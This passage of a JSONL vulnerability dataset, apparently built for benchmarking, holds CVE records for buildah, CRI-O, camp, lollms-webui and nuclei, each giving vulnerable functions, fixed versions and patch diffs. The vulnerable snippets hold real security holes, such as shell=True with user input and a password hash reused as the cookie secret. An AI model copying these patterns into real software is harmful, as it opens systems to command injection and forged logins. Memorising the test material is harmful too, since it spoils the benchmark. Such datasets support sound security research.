cap %s %v\", capPrefixed, err)\n\t\t}\n\t\tif err := specgen.DropProcessCapabilityEffective(capPrefixed); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to drop cap %s %v\", capPrefixed, err)\n\t\t}\n\t\tif err := specgen.DropProcessCapabilityInheritable(capPrefixed); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to drop cap %s %v\", capPrefixed, err)\n\t\t}\n\t\tif err := specgen.DropProcessCapabilityPermitted(capPrefixed); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to drop cap %s %v\", capPrefixed, err)\n\t\t}\n\t}\n\n\treturn nil\n}"}], "vul_patch": "--- a/server/container_create.go\n+++ b/server/container_create.go\n@@ -1,4 +1,9 @@\n func setupCapabilities(specgen *generate.Generator, capabilities *pb.Capability) error {\n+\t// Remove all ambient capabilities. Kubernetes is not yet ambient capabilities aware\n+\t// and pods expect that switching to a non-root user results in the capabilities being\n+\t// dropped. This should be revisited in the future.\n+\tspecgen.Spec().Process.Capabilities.Ambient = []string{}\n+\n \tif capabilities == nil {\n \t\treturn nil\n \t}\n@@ -17,9 +22,6 @@\n \t// see https://github.com/kubernetes/kubernetes/issues/51980\n \tif inStringSlice(capabilities.GetAddCapabilities(), \"ALL\") {\n \t\tfor _, c := range getOCICapabilitiesList() {\n-\t\t\tif err := specgen.AddProcessCapabilityAmbient(c); err != nil {\n-\t\t\t\treturn err\n-\t\t\t}\n \t\t\tif err := specgen.AddProcessCapabilityBounding(c); err != nil {\n \t\t\t\treturn err\n \t\t\t}\n@@ -36,9 +38,6 @@\n \t}\n \tif inStringSlice(capabilities.GetDropCapabilities(), \"ALL\") {\n \t\tfor _, c := range getOCICapabilitiesList() {\n-\t\t\tif err := specgen.DropProcessCapabilityAmbient(c); err != nil {\n-\t\t\t\treturn err\n-\t\t\t}\n \t\t\tif err := specgen.DropProcessCapabilityBounding(c); err != nil {\n \t\t\t\treturn err\n \t\t\t}\n@@ -59,9 +58,6 @@\n \t\t\tcontinue\n \t\t}\n \t\tcapPrefixed := toCAPPrefixed(cap)\n-\t\tif err := specgen.AddProcessCapabilityAmbient(capPrefixed); err != nil {\n-\t\t\treturn err\n-\t\t}\n \t\tif err := specgen.AddProcessCapabilityBounding(capPrefixed); err != nil {\n \t\t\treturn err\n \t\t}\n@@ -81,9 +77,6 @@\n \t\t\tcontinue\n \t\t}\n \t\tcapPrefixed := toCAPPrefixed(cap)\n-\t\tif err := specgen.DropProcessCapabilityAmbient(capPrefixed); err != nil {\n-\t\t\treturn fmt.Errorf(\"failed to drop cap %s %v\", capPrefixed, err)\n-\t\t}\n \t\tif err := specgen.DropProcessCapabilityBounding(capPrefixed); err != nil {\n \t\t\treturn fmt.Errorf(\"failed to drop cap %s %v\", capPrefixed, err)\n \t\t}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-37109", "cve_description": "patrickfuller camp up to and including commit bbd53a256ed70e79bd8758080936afbf6d738767 is vulnerable to Incorrect Access Control. Access to the password.txt file is not properly restricted as it is in the root directory served by StaticFileHandler and the Tornado rule to throw a 403 error when password.txt is accessed can be bypassed. Furthermore, it is not necessary to crack the password hash to authenticate with the application because the password hash is also used as the cookie secret, so an attacker can generate his own authentication cookie.", "cwe_info": {"CWE-522": {"name": "Insufficiently Protected Credentials", "description": "The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval."}}, "repo": "https://github.com/patrickfuller/camp", "patch_url": ["https://github.com/patrickfuller/camp/commit/bf6af5c2e5cf713e4050c11c52dd4c55e89880b1"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_py_18_1", "commit": "bbd53a2", "file_path": "server.py", "start_line": 43, "end_line": 50, "snippet": "    def post(self):\n        password = self.get_argument(\"password\", \"\")\n        if hashlib.sha512(password).hexdigest() == PASSWORD:\n            self.set_secure_cookie(COOKIE_NAME, str(time.time()))\n            self.redirect(\"/\")\n        else:\n            time.sleep(1)\n            self.redirect(u\"/login?error\")"}, {"id": "vul_py_18_2", "commit": "bbd53a2", "file_path": "server.py", "start_line": 129, "end_line": 133, "snippet": "handlers = [(r\"/\", IndexHandler), (r\"/login\", LoginHandler),\n            (r\"/websocket\", WebSocket),\n            (r\"/static/password.txt\", ErrorHandler),\n            (r'/static/(.*)', tornado.web.StaticFileHandler, {'path': ROOT})]\napplication = tornado.web.Application(handlers, cookie_secret=PASSWORD)"}], "fix_func": [{"id": "fix_py_18_1", "commit": "bf6af5c2e5cf713e4050c11c52dd4c55e89880b1", "file_path": "server.py", "start_line": 42, "end_line": 49, "snippet": "    def post(self):\n        password = self.get_argument(\"password\", \"\")\n        if hashlib.sha512(password.encode()).hexdigest() == PASSWORD:\n            self.set_secure_cookie(COOKIE_NAME, str(time.time()))\n            self.redirect(\"/\")\n        else:\n            time.sleep(1)\n            self.redirect(u\"/login?error\")"}, {"id": "fix_py_18_2", "commit": "bf6af5c2e5cf713e4050c11c52dd4c55e89880b1", "file_path": "server.py", "start_line": 123, "end_line": 128, "snippet": "handlers = [(r\"/\", IndexHandler), (r\"/login\", LoginHandler),\n            (r\"/websocket\", WebSocket),\n            (r'/static/(.*)', tornado.web.StaticFileHandler, {'path': os.path.join(ROOT, 'static')})]\n\nsecret = base64.b64encode(os.urandom(50)).decode('ascii')\napplication = tornado.web.Application(handlers, cookie_secret=secret)"}], "vul_patch": "--- a/server.py\n+++ b/server.py\n@@ -1,6 +1,6 @@\n     def post(self):\n         password = self.get_argument(\"password\", \"\")\n-        if hashlib.sha512(password).hexdigest() == PASSWORD:\n+        if hashlib.sha512(password.encode()).hexdigest() == PASSWORD:\n             self.set_secure_cookie(COOKIE_NAME, str(time.time()))\n             self.redirect(\"/\")\n         else:\n\n--- a/server.py\n+++ b/server.py\n@@ -1,5 +1,6 @@\n handlers = [(r\"/\", IndexHandler), (r\"/login\", LoginHandler),\n             (r\"/websocket\", WebSocket),\n-            (r\"/static/password.txt\", ErrorHandler),\n-            (r'/static/(.*)', tornado.web.StaticFileHandler, {'path': ROOT})]\n-application = tornado.web.Application(handlers, cookie_secret=PASSWORD)\n+            (r'/static/(.*)', tornado.web.StaticFileHandler, {'path': os.path.join(ROOT, 'static')})]\n+\n+secret = base64.b64encode(os.urandom(50)).decode('ascii')\n+application = tornado.web.Application(handlers, cookie_secret=secret)\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-37109:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/camp\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2022-37109/bin/python  hand_test.py\n", "unit_test_cmd": null}
{"cve_id": "CVE-2022-27651", "cve_description": "A flaw was found in buildah where containers were incorrectly started with non-empty default permissions. A bug was found in Moby (Docker Engine) where containers were incorrectly started with non-empty inheritable Linux process capabilities, enabling an attacker with access to programs with inheritable file capabilities to elevate those capabilities to the permitted set when execve(2) runs. This has the potential to impact confidentiality and integrity.", "cwe_info": {"CWE-276": {"name": "Incorrect Default Permissions", "description": "During installation, installed file permissions are set to allow anyone to modify those files."}}, "repo": "https://github.com/containers/buildah", "patch_url": ["https://github.com/containers/buildah/commit/e7e55c988c05dd74005184ceb64f097a0cfe645b"], "programing_language": "Go", "vul_func": [{"id": "vul_go_149_1", "commit": "f85e523", "file_path": "chroot/run.go", "start_line": 885, "end_line": 940, "snippet": "func setCapabilities(spec *specs.Spec, keepCaps ...string) error {\n\tcurrentCaps, err := capability.NewPid2(0)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"error reading capabilities of current process\")\n\t}\n\tif err := currentCaps.Load(); err != nil {\n\t\treturn errors.Wrapf(err, \"error loading capabilities\")\n\t}\n\tcaps, err := capability.NewPid2(0)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"error reading capabilities of current process\")\n\t}\n\tcapMap := map[capability.CapType][]string{\n\t\tcapability.BOUNDING:    spec.Process.Capabilities.Bounding,\n\t\tcapability.EFFECTIVE:   spec.Process.Capabilities.Effective,\n\t\tcapability.INHERITABLE: spec.Process.Capabilities.Inheritable,\n\t\tcapability.PERMITTED:   spec.Process.Capabilities.Permitted,\n\t\tcapability.AMBIENT:     spec.Process.Capabilities.Ambient,\n\t}\n\tknownCaps := capability.List()\n\tnoCap := capability.Cap(-1)\n\tfor capType, capList := range capMap {\n\t\tfor _, capToSet := range capList {\n\t\t\tcap := noCap\n\t\t\tfor _, c := range knownCaps {\n\t\t\t\tif strings.EqualFold(\"CAP_\"+c.String(), capToSet) {\n\t\t\t\t\tcap = c\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif cap == noCap {\n\t\t\t\treturn errors.Errorf(\"error mapping capability %q to a number\", capToSet)\n\t\t\t}\n\t\t\tcaps.Set(capType, cap)\n\t\t}\n\t\tfor _, capToSet := range keepCaps {\n\t\t\tcap := noCap\n\t\t\tfor _, c := range knownCaps {\n\t\t\t\tif strings.EqualFold(\"CAP_\"+c.String(), capToSet) {\n\t\t\t\t\tcap = c\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif cap == noCap {\n\t\t\t\treturn errors.Errorf(\"error mapping capability %q to a number\", capToSet)\n\t\t\t}\n\t\t\tif currentCaps.Get(capType, cap) {\n\t\t\t\tcaps.Set(capType, cap)\n\t\t\t}\n\t\t}\n\t}\n\tif err = caps.Apply(capability.CAPS | capability.BOUNDS | capability.AMBS); err != nil {\n\t\treturn errors.Wrapf(err, \"error setting capabilities\")\n\t}\n\treturn nil\n}"}, {"id": "vul_go_149_2", "commit": "f85e523", "file_path": "run_linux.go", "start_line": 1959, "end_line": 1978, "snippet": "func setupCapAdd(g *generate.Generator, caps ...string) error {\n\tfor _, cap := range caps {\n\t\tif err := g.AddProcessCapabilityBounding(cap); err != nil {\n\t\t\treturn errors.Wrapf(err, \"error adding %q to the bounding capability set\", cap)\n\t\t}\n\t\tif err := g.AddProcessCapabilityEffective(cap); err != nil {\n\t\t\treturn errors.Wrapf(err, \"error adding %q to the effective capability set\", cap)\n\t\t}\n\t\tif err := g.AddProcessCapabilityInheritable(cap); err != nil {\n\t\t\treturn errors.Wrapf(err, \"error adding %q to the inheritable capability set\", cap)\n\t\t}\n\t\tif err := g.AddProcessCapabilityPermitted(cap); err != nil {\n\t\t\treturn errors.Wrapf(err, \"error adding %q to the permitted capability set\", cap)\n\t\t}\n\t\tif err := g.AddProcessCapabilityAmbient(cap); err != nil {\n\t\t\treturn errors.Wrapf(err, \"error adding %q to the ambient capability set\", cap)\n\t\t}\n\t}\n\treturn nil\n}"}, {"id": "vul_go_149_3", "commit": "f85e523", "file_path": "run_linux.go", "start_line": 1980, "end_line": 1999, "snippet": "func setupCapDrop(g *generate.Generator, caps ...string) error {\n\tfor _, cap := range caps {\n\t\tif err := g.DropProcessCapabilityBounding(cap); err != nil {\n\t\t\treturn errors.Wrapf(err, \"error removing %q from the bounding capability set\", cap)\n\t\t}\n\t\tif err := g.DropProcessCapabilityEffective(cap); err != nil {\n\t\t\treturn errors.Wrapf(err, \"error removing %q from the effective capability set\", cap)\n\t\t}\n\t\tif err := g.DropProcessCapabilityInheritable(cap); err != nil {\n\t\t\treturn errors.Wrapf(err, \"error removing %q from the inheritable capability set\", cap)\n\t\t}\n\t\tif err := g.DropProcessCapabilityPermitted(cap); err != nil {\n\t\t\treturn errors.Wrapf(err, \"error removing %q from the permitted capability set\", cap)\n\t\t}\n\t\tif err := g.DropProcessCapabilityAmbient(cap); err != nil {\n\t\t\treturn errors.Wrapf(err, \"error removing %q from the ambient capability set\", cap)\n\t\t}\n\t}\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_149_1", "commit": "e7e55c9", "file_path": "chroot/run.go", "start_line": 885, "end_line": 940, "snippet": "func setCapabilities(spec *specs.Spec, keepCaps ...string) error {\n\tcurrentCaps, err := capability.NewPid2(0)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"error reading capabilities of current process\")\n\t}\n\tif err := currentCaps.Load(); err != nil {\n\t\treturn errors.Wrapf(err, \"error loading capabilities\")\n\t}\n\tcaps, err := capability.NewPid2(0)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"error reading capabilities of current process\")\n\t}\n\tcapMap := map[capability.CapType][]string{\n\t\tcapability.BOUNDING:    spec.Process.Capabilities.Bounding,\n\t\tcapability.EFFECTIVE:   spec.Process.Capabilities.Effective,\n\t\tcapability.INHERITABLE: []string{},\n\t\tcapability.PERMITTED:   spec.Process.Capabilities.Permitted,\n\t\tcapability.AMBIENT:     spec.Process.Capabilities.Ambient,\n\t}\n\tknownCaps := capability.List()\n\tnoCap := capability.Cap(-1)\n\tfor capType, capList := range capMap {\n\t\tfor _, capToSet := range capList {\n\t\t\tcap := noCap\n\t\t\tfor _, c := range knownCaps {\n\t\t\t\tif strings.EqualFold(\"CAP_\"+c.String(), capToSet) {\n\t\t\t\t\tcap = c\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif cap == noCap {\n\t\t\t\treturn errors.Errorf(\"error mapping capability %q to a number\", capToSet)\n\t\t\t}\n\t\t\tcaps.Set(capType, cap)\n\t\t}\n\t\tfor _, capToSet := range keepCaps {\n\t\t\tcap := noCap\n\t\t\tfor _, c := range knownCaps {\n\t\t\t\tif strings.EqualFold(\"CAP_\"+c.String(), capToSet) {\n\t\t\t\t\tcap = c\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif cap == noCap {\n\t\t\t\treturn errors.Errorf(\"error mapping capability %q to a number\", capToSet)\n\t\t\t}\n\t\t\tif currentCaps.Get(capType, cap) {\n\t\t\t\tcaps.Set(capType, cap)\n\t\t\t}\n\t\t}\n\t}\n\tif err = caps.Apply(capability.CAPS | capability.BOUNDS | capability.AMBS); err != nil {\n\t\treturn errors.Wrapf(err, \"error setting capabilities\")\n\t}\n\treturn nil\n}"}, {"id": "fix_go_149_2", "commit": "e7e55c9", "file_path": "run_linux.go", "start_line": 1959, "end_line": 1975, "snippet": "func setupCapAdd(g *generate.Generator, caps ...string) error {\n\tfor _, cap := range caps {\n\t\tif err := g.AddProcessCapabilityBounding(cap); err != nil {\n\t\t\treturn errors.Wrapf(err, \"error adding %q to the bounding capability set\", cap)\n\t\t}\n\t\tif err := g.AddProcessCapabilityEffective(cap); err != nil {\n\t\t\treturn errors.Wrapf(err, \"error adding %q to the effective capability set\", cap)\n\t\t}\n\t\tif err := g.AddProcessCapabilityPermitted(cap); err != nil {\n\t\t\treturn errors.Wrapf(err, \"error adding %q to the permitted capability set\", cap)\n\t\t}\n\t\tif err := g.AddProcessCapabilityAmbient(cap); err != nil {\n\t\t\treturn errors.Wrapf(err, \"error adding %q to the ambient capability set\", cap)\n\t\t}\n\t}\n\treturn nil\n}"}, {"id": "fix_go_149_3", "commit": "e7e55c9", "file_path": "run_linux.go", "start_line": 1977, "end_line": 1993, "snippet": "func setupCapDrop(g *generate.Generator, caps ...string) error {\n\tfor _, cap := range caps {\n\t\tif err := g.DropProcessCapabilityBounding(cap); err != nil {\n\t\t\treturn errors.Wrapf(err, \"error removing %q from the bounding capability set\", cap)\n\t\t}\n\t\tif err := g.DropProcessCapabilityEffective(cap); err != nil {\n\t\t\treturn errors.Wrapf(err, \"error removing %q from the effective capability set\", cap)\n\t\t}\n\t\tif err := g.DropProcessCapabilityPermitted(cap); err != nil {\n\t\t\treturn errors.Wrapf(err, \"error removing %q from the permitted capability set\", cap)\n\t\t}\n\t\tif err := g.DropProcessCapabilityAmbient(cap); err != nil {\n\t\t\treturn errors.Wrapf(err, \"error removing %q from the ambient capability set\", cap)\n\t\t}\n\t}\n\treturn nil\n}"}], "vul_patch": "--- a/chroot/run.go\n+++ b/chroot/run.go\n@@ -13,7 +13,7 @@\n \tcapMap := map[capability.CapType][]string{\n \t\tcapability.BOUNDING:    spec.Process.Capabilities.Bounding,\n \t\tcapability.EFFECTIVE:   spec.Process.Capabilities.Effective,\n-\t\tcapability.INHERITABLE: spec.Process.Capabilities.Inheritable,\n+\t\tcapability.INHERITABLE: []string{},\n \t\tcapability.PERMITTED:   spec.Process.Capabilities.Permitted,\n \t\tcapability.AMBIENT:     spec.Process.Capabilities.Ambient,\n \t}\n\n--- a/run_linux.go\n+++ b/run_linux.go\n@@ -5,9 +5,6 @@\n \t\t}\n \t\tif err := g.AddProcessCapabilityEffective(cap); err != nil {\n \t\t\treturn errors.Wrapf(err, \"error adding %q to the effective capability set\", cap)\n-\t\t}\n-\t\tif err := g.AddProcessCapabilityInheritable(cap); err != nil {\n-\t\t\treturn errors.Wrapf(err, \"error adding %q to the inheritable capability set\", cap)\n \t\t}\n \t\tif err := g.AddProcessCapabilityPermitted(cap); err != nil {\n \t\t\treturn errors.Wrapf(err, \"error adding %q to the permitted capability set\", cap)\n\n--- a/run_linux.go\n+++ b/run_linux.go\n@@ -5,9 +5,6 @@\n \t\t}\n \t\tif err := g.DropProcessCapabilityEffective(cap); err != nil {\n \t\t\treturn errors.Wrapf(err, \"error removing %q from the effective capability set\", cap)\n-\t\t}\n-\t\tif err := g.DropProcessCapabilityInheritable(cap); err != nil {\n-\t\t\treturn errors.Wrapf(err, \"error removing %q from the inheritable capability set\", cap)\n \t\t}\n \t\tif err := g.DropProcessCapabilityPermitted(cap); err != nil {\n \t\t\treturn errors.Wrapf(err, \"error removing %q from the permitted capability set\", cap)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-1520", "cve_description": "An OS Command Injection vulnerability exists in the '/open_code_folder' endpoint of the parisneo/lollms-webui application, due to improper validation of user-supplied input in the 'discussion_id' parameter. Attackers can exploit this vulnerability by injecting malicious OS commands, leading to unauthorized command execution on the underlying operating system. This could result in unauthorized access, data leakage, or complete system compromise.", "cwe_info": {"CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/parisneo/lollms-webui", "patch_url": ["https://github.com/parisneo/lollms-webui/commit/2497d1a4fe5a09f003bf7a9bc426139e9295a934"], "programing_language": "Python", "vul_func": [{"id": "vul_py_188_1", "commit": "3a1f3da", "file_path": "endpoints/lollms_advanced.py", "start_line": 186, "end_line": 211, "snippet": "async def open_file(file_path: FilePath):\n    \"\"\"\n    Opens code in vs code.\n\n    :param file_path: The file path object.\n    :return: A JSON response with the status of the operation.\n    \"\"\"\n\n    try:\n        # Validate the 'path' parameter\n        path = file_path.path\n        if not validate_file_path(path):\n            return {\"status\":False,\"error\":\"Invalid file path\"}\n        \n        # Sanitize the 'path' parameter\n        path = os.path.realpath(path)\n        \n        # Use subprocess.Popen to safely open the file\n        subprocess.Popen([\"start\", path], shell=True)\n        \n        return {\"status\": True, \"execution_time\": 0}\n    \n    except Exception as ex:\n        trace_exception(ex)\n        lollmsElfServer.error(ex)\n        return {\"status\":False,\"error\":str(ex)}"}, {"id": "vul_py_188_2", "commit": "3a1f3da", "file_path": "endpoints/lollms_advanced.py", "start_line": 219, "end_line": 247, "snippet": "async def open_code_in_vs_code(vs_code_data: VSCodeData):\n    \"\"\"\n    Opens code in vs code.\n\n    :param vs_code_data: The data object.\n    :return: A JSON response with the status of the operation.\n    \"\"\"\n\n    try:\n        discussion_id = vs_code_data.discussion_id\n        message_id = vs_code_data.message_id\n        code = vs_code_data.code\n\n        ASCIIColors.info(\"Opening folder:\")\n        # Create a temporary file.\n        root_folder = Path(os.path.realpath(lollmsElfServer.lollms_paths.personal_outputs_path/\"discussions\"/f\"d_{discussion_id}\"/f\"{message_id}.py\"))\n        root_folder.mkdir(parents=True,exist_ok=True)\n        tmp_file = root_folder/f\"ai_code_{message_id}.py\"\n        with open(tmp_file,\"w\") as f:\n            f.write(code)\n        \n        # Use subprocess.Popen to safely open the file\n        subprocess.Popen([\"code\", str(root_folder)], shell=True)\n        \n        return {\"status\": True, \"execution_time\": 0}\n    except Exception as ex:\n        trace_exception(ex)\n        lollmsElfServer.error(ex)\n        return {\"status\":False,\"error\":str(ex)}"}, {"id": "vul_py_188_3", "commit": "3a1f3da", "file_path": "endpoints/lollms_advanced.py", "start_line": 254, "end_line": 300, "snippet": "async def open_code_folder(request: FolderRequest):\n    \"\"\"\n    Opens code folder.\n\n    :param request: The HTTP request object.\n    :return: A JSON response with the status of the operation.\n    \"\"\"\n    \n    try:\n        if request.discussion_id:\n            discussion_id = request.discussion_id\n\n            ASCIIColors.info(\"Opening folder:\")\n            # Create a temporary file.\n            root_folder = lollmsElfServer.lollms_paths.personal_outputs_path / \"discussions\" / f\"d_{discussion_id}\"\n            root_folder.mkdir(parents=True, exist_ok=True)\n            if platform.system() == 'Windows':\n                subprocess.run(['start', str(root_folder)], check=True, shell=True)\n            elif platform.system() == 'Linux':\n                subprocess.run(['xdg-open', str(root_folder)], check=True)\n            elif platform.system() == 'Darwin':\n                subprocess.run(['open', str(root_folder)], check=True)\n            return {\"status\": True, \"execution_time\": 0}\n        elif request.folder_path:\n            folder_path = os.path.realpath(request.folder_path)\n            # Verify that this is a file and not an executable\n            root_folder = Path(folder_path)\n            is_valid_folder_path = root_folder.is_dir()\n\n            if not is_valid_folder_path:\n                return {\"status\":False, \"error\":\"Invalid folder path\"}\n\n            ASCIIColors.info(\"Opening folder:\")\n            # Create a temporary file.\n            root_folder.mkdir(parents=True, exist_ok=True)\n            if platform.system() == 'Windows':\n                subprocess.run(['start', str(root_folder)], check=True, shell=True)\n            elif platform.system() == 'Linux':\n                subprocess.run(['xdg-open', str(root_folder)], check=True)\n            elif platform.system() == 'Darwin':\n                subprocess.run(['open', str(root_folder)], check=True)\n            return {\"status\": True, \"execution_time\": 0}\n\n    except Exception as ex:\n        trace_exception(ex)\n        lollmsElfServer.error(ex)\n        return {\"status\": False, \"error\": \"An error occurred while processing the request\"}"}], "fix_func": [{"id": "fix_py_188_1", "commit": "2497d1a", "file_path": "endpoints/lollms_advanced.py", "start_line": 186, "end_line": 211, "snippet": "async def open_file(file_path: FilePath):\n    \"\"\"\n    Opens code in vs code.\n\n    :param file_path: The file path object.\n    :return: A JSON response with the status of the operation.\n    \"\"\"\n\n    try:\n        # Validate the 'path' parameter\n        path = file_path.path\n        if not validate_file_path(path):\n            return {\"status\":False,\"error\":\"Invalid file path\"}\n        \n        # Sanitize the 'path' parameter\n        path = os.path.realpath(path)\n        \n        # Use subprocess.Popen to safely open the file\n        subprocess.Popen([\"start\", path])\n        \n        return {\"status\": True, \"execution_time\": 0}\n    \n    except Exception as ex:\n        trace_exception(ex)\n        lollmsElfServer.error(ex)\n        return {\"status\":False,\"error\":str(ex)}"}, {"id": "fix_py_188_2", "commit": "2497d1a", "file_path": "endpoints/lollms_advanced.py", "start_line": 219, "end_line": 247, "snippet": "async def open_code_in_vs_code(vs_code_data: VSCodeData):\n    \"\"\"\n    Opens code in vs code.\n\n    :param vs_code_data: The data object.\n    :return: A JSON response with the status of the operation.\n    \"\"\"\n\n    try:\n        discussion_id = vs_code_data.discussion_id\n        message_id = vs_code_data.message_id\n        code = vs_code_data.code\n\n        ASCIIColors.info(\"Opening folder:\")\n        # Create a temporary file.\n        root_folder = Path(os.path.realpath(lollmsElfServer.lollms_paths.personal_outputs_path/\"discussions\"/f\"d_{discussion_id}\"/f\"{message_id}.py\"))\n        root_folder.mkdir(parents=True,exist_ok=True)\n        tmp_file = root_folder/f\"ai_code_{message_id}.py\"\n        with open(tmp_file,\"w\") as f:\n            f.write(code)\n        \n        # Use subprocess.Popen to safely open the file\n        subprocess.Popen([\"code\", str(root_folder)])\n        \n        return {\"status\": True, \"execution_time\": 0}\n    except Exception as ex:\n        trace_exception(ex)\n        lollmsElfServer.error(ex)\n        return {\"status\":False,\"error\":str(ex)}"}, {"id": "fix_py_188_3", "commit": "2497d1a", "file_path": "endpoints/lollms_advanced.py", "start_line": 254, "end_line": 300, "snippet": "async def open_code_folder(request: FolderRequest):\n    \"\"\"\n    Opens code folder.\n\n    :param request: The HTTP request object.\n    :return: A JSON response with the status of the operation.\n    \"\"\"\n    \n    try:\n        if request.discussion_id:\n            discussion_id = request.discussion_id\n\n            ASCIIColors.info(\"Opening folder:\")\n            # Create a temporary file.\n            root_folder = lollmsElfServer.lollms_paths.personal_outputs_path / \"discussions\" / f\"d_{discussion_id}\"\n            root_folder.mkdir(parents=True, exist_ok=True)\n            if platform.system() == 'Windows':\n                subprocess.run(['start', str(root_folder)], check=True)\n            elif platform.system() == 'Linux':\n                subprocess.run(['xdg-open', str(root_folder)], check=True)\n            elif platform.system() == 'Darwin':\n                subprocess.run(['open', str(root_folder)], check=True)\n            return {\"status\": True, \"execution_time\": 0}\n        elif request.folder_path:\n            folder_path = os.path.realpath(request.folder_path)\n            # Verify that this is a file and not an executable\n            root_folder = Path(folder_path)\n            is_valid_folder_path = root_folder.is_dir()\n\n            if not is_valid_folder_path:\n                return {\"status\":False, \"error\":\"Invalid folder path\"}\n\n            ASCIIColors.info(\"Opening folder:\")\n            # Create a temporary file.\n            root_folder.mkdir(parents=True, exist_ok=True)\n            if platform.system() == 'Windows':\n                subprocess.run(['start', str(root_folder)], check=True)\n            elif platform.system() == 'Linux':\n                subprocess.run(['xdg-open', str(root_folder)], check=True)\n            elif platform.system() == 'Darwin':\n                subprocess.run(['open', str(root_folder)], check=True)\n            return {\"status\": True, \"execution_time\": 0}\n\n    except Exception as ex:\n        trace_exception(ex)\n        lollmsElfServer.error(ex)\n        return {\"status\": False, \"error\": \"An error occurred while processing the request\"}"}], "vul_patch": "--- a/endpoints/lollms_advanced.py\n+++ b/endpoints/lollms_advanced.py\n@@ -16,7 +16,7 @@\n         path = os.path.realpath(path)\n         \n         # Use subprocess.Popen to safely open the file\n-        subprocess.Popen([\"start\", path], shell=True)\n+        subprocess.Popen([\"start\", path])\n         \n         return {\"status\": True, \"execution_time\": 0}\n     \n\n--- a/endpoints/lollms_advanced.py\n+++ b/endpoints/lollms_advanced.py\n@@ -20,7 +20,7 @@\n             f.write(code)\n         \n         # Use subprocess.Popen to safely open the file\n-        subprocess.Popen([\"code\", str(root_folder)], shell=True)\n+        subprocess.Popen([\"code\", str(root_folder)])\n         \n         return {\"status\": True, \"execution_time\": 0}\n     except Exception as ex:\n\n--- a/endpoints/lollms_advanced.py\n+++ b/endpoints/lollms_advanced.py\n@@ -15,7 +15,7 @@\n             root_folder = lollmsElfServer.lollms_paths.personal_outputs_path / \"discussions\" / f\"d_{discussion_id}\"\n             root_folder.mkdir(parents=True, exist_ok=True)\n             if platform.system() == 'Windows':\n-                subprocess.run(['start', str(root_folder)], check=True, shell=True)\n+                subprocess.run(['start', str(root_folder)], check=True)\n             elif platform.system() == 'Linux':\n                 subprocess.run(['xdg-open', str(root_folder)], check=True)\n             elif platform.system() == 'Darwin':\n@@ -34,7 +34,7 @@\n             # Create a temporary file.\n             root_folder.mkdir(parents=True, exist_ok=True)\n             if platform.system() == 'Windows':\n-                subprocess.run(['start', str(root_folder)], check=True, shell=True)\n+                subprocess.run(['start', str(root_folder)], check=True)\n             elif platform.system() == 'Linux':\n                 subprocess.run(['xdg-open', str(root_folder)], check=True)\n             elif platform.system() == 'Darwin':\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-27920", "cve_description": "projectdiscovery/nuclei is a fast and customisable vulnerability scanner based on simple YAML based DSL. A significant security oversight was identified in Nuclei v3, involving the execution of unsigned code templates through workflows. This vulnerability specifically affects users utilizing custom workflows, potentially allowing the execution of malicious code on the user's system. This advisory outlines the impacted users, provides details on the security patch, and suggests mitigation strategies. The vulnerability is addressed in Nuclei v3.2.0. Users are strongly recommended to update to this version to mitigate the security risk. Users should refrain from using custom workflows if unable to upgrade immediately. Only trusted, verified workflows should be executed.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/projectdiscovery/nuclei", "patch_url": ["https://github.com/projectdiscovery/nuclei/commit/e86f38299765b82ad724fdb701557e0eaff3884d"], "programing_language": "Go", "vul_func": [{"id": "vul_go_152_1", "commit": "4c7a0f4", "file_path": "pkg/templates/workflows.go", "start_line": 58, "end_line": 96, "snippet": "func parseWorkflowTemplate(workflow *workflows.WorkflowTemplate, preprocessor Preprocessor, options *protocols.ExecutorOptions, loader model.WorkflowLoader, noValidate bool) error {\n\tvar paths []string\n\n\tsubTemplateTags := workflow.Tags\n\tif !subTemplateTags.IsEmpty() {\n\t\tpaths = loader.GetTemplatePathsByTags(subTemplateTags.ToSlice())\n\t} else {\n\t\tpaths = loader.GetTemplatePaths([]string{workflow.Template}, noValidate)\n\t}\n\tif len(paths) == 0 {\n\t\treturn nil\n\t}\n\n\tvar workflowTemplates []*Template\n\n\tfor _, path := range paths {\n\t\ttemplate, err := Parse(path, preprocessor, options.Copy())\n\t\tif err != nil {\n\t\t\tgologger.Warning().Msgf(\"Could not parse workflow template %s: %v\\n\", path, 